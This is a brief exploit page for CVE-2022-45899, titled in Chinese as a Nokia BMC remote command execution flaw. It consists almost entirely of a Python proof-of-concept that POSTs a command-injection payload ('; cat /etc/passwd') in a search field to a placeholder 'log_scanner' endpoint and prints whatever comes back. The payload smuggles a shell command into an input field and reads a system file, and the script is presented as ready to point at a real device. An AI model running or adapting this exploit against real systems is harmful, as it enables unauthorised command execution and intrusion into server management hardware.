CVE-2022-45899 Nokia BMC远程命令执行漏洞

import requests # Target URL (Example, replace with actual vulnerable endpoint) target_url = "http://target-bmc-ip/log_scanner" # Malicious payload to inject OS command # Payload attempts to read /etc/passwd using a semicolon to break the command payload = "; cat /etc/passwd" data = { "search_pattern": payload, "action": "search" } try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")